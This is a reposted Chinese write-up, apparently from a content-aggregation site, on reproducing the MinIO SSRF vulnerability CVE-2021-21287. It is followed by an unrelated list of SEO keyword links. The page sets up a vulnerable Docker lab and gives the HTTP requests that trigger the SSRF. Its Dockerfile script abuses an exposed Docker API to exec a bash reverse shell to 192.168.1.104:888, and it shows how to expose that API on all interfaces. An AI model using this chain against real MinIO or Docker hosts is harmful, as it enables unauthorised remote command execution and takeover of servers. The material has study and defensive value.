MinIO未授权SSRF漏洞CVE-2021-21287怎么分析
发表于:2024-12-13 作者:千家信息网编辑
千家信息网最后更新 2024年12月13日,本篇文章为大家展示了MinIO未授权SSRF漏洞CVE-2021-21287怎么分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。MinIO未授权SSRF漏洞
千家信息网最后更新 2024年12月13日MinIO未授权SSRF漏洞CVE-2021-21287怎么分析
本篇文章为大家展示了MinIO未授权SSRF漏洞CVE-2021-21287怎么分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
MinIO未授权SSRF漏洞(CVE-2021-21287)
一、漏洞简介
由于MinIO组件中LoginSTS接口设计不当,导致存在服务器端请求伪造漏洞
攻击者可以通过构造URL来发起服务器端请求伪造攻击成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令
该漏洞无需用户验证即可远程利用
二、影响版本
MinIO < RELEASE.2021-01-30T00-20-58Z
三、环境准备&漏洞复现
Docker 安装 minio:
docker-compose.yml
version: '3.7'services: minio1: image: minio/minio:RELEASE.2021-01-16T02-19-44Z volumes: - data1-1:/data1 - data1-2:/data2 ports: - "9000:9000" environment: MINIO_ACCESS_KEY: minio MINIO_SECRET_KEY: minio123 command: server http://minio{1...4}/data{1...2} healthcheck: test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"] interval: 30s timeout: 20s retries: 3## By default this config uses default local driver,## For custom volumes replace with volume driver configuration.volumes: data1-1: data1-2:
启动环境:
首页样式:
http://192.168.1.108:9000/minio/login
1、验证SSRF
具体数据包:
POST /minio/webrpc HTTP/1.1Host: 192.168.1.104:1234User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79{"id":1,"jsonrpc":"2.0","params":{"token": "test"},"method":"web.LoginSTS"}
2、ssrf反弹shell
web服务下面放文件:index.php(apache)
反弹shell文件:
DockerFile如下:
FROM alpine:3.13RUN apk add curl bash jqRUN set -ex && \ { \ echo '#!/bin/bash'; \ echo 'set -ex'; \ echo 'target="http://192.168.1.108:2375"'; \ echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \ echo 'for item in ${jsons[@]}; do'; \ echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \ echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \ echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \ echo ' break'; \ echo ' fi'; \ echo 'done'; \ echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.104/888 0>&1\"]}" | jq -r ".Id")'; \ echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \ } | bash
具体操作数据包:
POST /minio/webrpc HTTP/1.1Host: 192.168.1.104User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79{"id":1,"jsonrpc":"2.0","params":{"token": "test"},"method":"web.LoginSTS"}
为了好的展示录了一个小视频。
过程枯燥等待较长:加了一个BGM
视频:
操作视频的结果:
https://mp.weixin.qq.com/s/9OavrcdczSZDXler5IpiQQ
注意⚠️:
因为自己Docker API已开启,过程未写入其中。
开启Docker API参考:
打开配置文件找到
打开配置文件找到ExecStart=/usr/bin/dockerd 修改为ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock重启$ systemctl daemon-reload$ systemctl restart docker
上述内容就是MinIO未授权SSRF漏洞CVE-2021-21287怎么分析,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。
漏洞
文件
服务
服务器
攻击
分析
内容
技能
攻击者
数据
环境
知识
视频
过程
配置
验证
不当
简明
成功
枯燥
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
达梦数据库更改编码utf-8
yii 更新数据库
密云区网络技术开发概况
jdbc创建数据库连接线程卡死
同一个屏幕服务器切换
mstsc怎么传文件到服务器上
网络安全校园主题日是哪天
数据库的安全级别划分
存储服务器分区
安徽电力应急软件开发服务有哪些
云办公服务器中国
寒假护苗网络安全观看心得
数据库端口号和实例名
如何自动让数据库备份
大连微软件开发学校
遵义网络安全系统排行
成都电脑软件开发要多少钱
梦幻西游转移烟花服务器花费
网络安全渗透测试咋样啊
Php中的Condb数据库
域服务器降级可使用的命令
监控网络管理服务器
电信网络安全新闻稿
重庆安卓软件开发哪家便宜
遂溪定制软件开发
csgo不安全服务器
怎么跟数据库交互
网络安全班会词
吉林省省网络安全举报平台
晶旦互联网科技上海公司